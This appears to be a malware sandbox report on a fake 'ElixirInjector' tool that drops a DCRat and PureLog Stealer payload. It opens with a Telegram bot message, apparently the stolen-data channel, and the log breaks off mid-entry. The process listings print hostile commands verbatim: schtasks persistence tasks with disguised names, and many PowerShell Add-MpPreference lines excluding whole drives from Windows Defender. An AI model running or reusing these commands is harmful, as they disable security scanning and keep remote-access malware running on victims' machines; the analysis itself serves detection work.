                                                                                            {"ok":true,"result":{"message_id":7710,"from":{"id":7622199935,"is_bot":true,"first_name":"herreeeee","username":"dlvyhostagentbot"},"chat":{"id":6275749393,"first_name":"Dupu","username":"ya_Nyashka","type":"private"},"date":1736770833,"photo":[{"file_id":"AgACAgQAAxkDAAIeHmeFBRHJF1CPXPVRRwhobkMEVisHAAIKyTEbptQpUOcy00lgzl-KAQADAgADcwADNgQ","file_unique_id":"AQADCskxG6bUKVB4","file_size":1098,"width":90,"height":72},{"file_id":"AgACAgQAAxkDAAIeHmeFBRHJF1CPXPVRRwhobkMEVisHAAIKyTEbptQpUOcy00lgzl-KAQADAgADbQADNgQ","file_unique_id":"AQADCskxG6bUKVBy","file_size":14076,"width":320,"height":256},{"file_id":"AgACAgQAAxkDAAIeHmeFBRHJF1CPXPVRRwhobkMEVisHAAIKyTEbptQpUOcy00lgzl-KAQADAgADeAADNgQ","file_unique_id":"AQADCskxG6bUKVB9","file_size":58261,"width":800,"height":640},{"file_id":"AgACAgQAAxkDAAIeHmeFBRHJF1CPXPVRRwhobkMEVisHAAIKyTEbptQpUOcy00lgzl-KAQADAgADeQADNgQ","file_unique_id":"AQADCskxG6bUKVB-","file_size":85899,"width":1280,"height":1024}],"caption":"hello\nID: a0fccb9e88510f94cb0deffd3c62127052b2afe3\nCommen [TRUNCATED]


                                                                                            Statistics

                                                                                            CPU Usage

                                                                                            Click to jump to process

                                                                                            Memory Usage

                                                                                            Click to jump to process

                                                                                            High Level Behavior Distribution

                                                                                            Click to dive into process behavior distribution

                                                                                            Behavior

                                                                                            Click to jump to process

                                                                                            System Behavior

                                                                                            General

                                                                                            Target ID:0
                                                                                            Start time:07:20:01
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Users\user\Desktop\ElixirInjector.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Users\user\Desktop\ElixirInjector.exe"
                                                                                            Imagebase:0xf10000
                                                                                            File size:1'968'011 bytes
                                                                                            MD5 hash:04095B54D4245DCA4AEB05310A2DDC8A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:2
                                                                                            Start time:07:20:06
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\SysWOW64\wscript.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe"
                                                                                            Imagebase:0xbf0000
                                                                                            File size:147'456 bytes
                                                                                            MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:3
                                                                                            Start time:07:20:09
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" "
                                                                                            Imagebase:0x1c0000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:4
                                                                                            Start time:07:20:09
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:5
                                                                                            Start time:07:20:10
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe"
                                                                                            Imagebase:0x160000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Yara matches:
                                                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.2216100697.0000000000162000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
                                                                                            Antivirus matches:
                                                                                            • Detection: 100%, Avira
                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                            • Detection: 58%, ReversingLabs
                                                                                            • Detection: 59%, Virustotal, Browse
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:10
                                                                                            Start time:07:20:28
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\schtasks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f
                                                                                            Imagebase:0x7ff7f39f0000
                                                                                            File size:235'008 bytes
                                                                                            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:13
                                                                                            Start time:07:20:28
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\schtasks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /f
                                                                                            Imagebase:0x7ff7f39f0000
                                                                                            File size:235'008 bytes
                                                                                            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:21
                                                                                            Start time:07:20:29
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\schtasks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 7 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /rl HIGHEST /f
                                                                                            Imagebase:0x7ff7f39f0000
                                                                                            File size:235'008 bytes
                                                                                            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:25
                                                                                            Start time:07:20:31
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            Imagebase:0x60000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:26
                                                                                            Start time:07:20:31
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            Imagebase:0xe10000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:27
                                                                                            Start time:07:20:32
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\ShellComponents\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\ShellComponents\cmd.exe
                                                                                            Imagebase:0x4e0000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:28
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\ShellComponents\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\ShellComponents\cmd.exe
                                                                                            Imagebase:0x100000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:29
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
                                                                                            Imagebase:0x610000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Antivirus matches:
                                                                                            • Detection: 100%, Avira
                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                            • Detection: 58%, ReversingLabs
                                                                                            • Detection: 59%, Virustotal, Browse
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:30
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:31
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:32
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:33
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:34
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:35
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:36
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:37
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:38
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:39
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:40
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:41
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:42
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:43
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:44
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:45
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:46
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:47
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:48
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:49
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:50
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:51
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellComponents\cmd.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:52
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:53
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:54
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:55
                                                                                            Start time:07:20:33
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:56
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:57
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:58
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:59
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:60
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7403e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:61
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
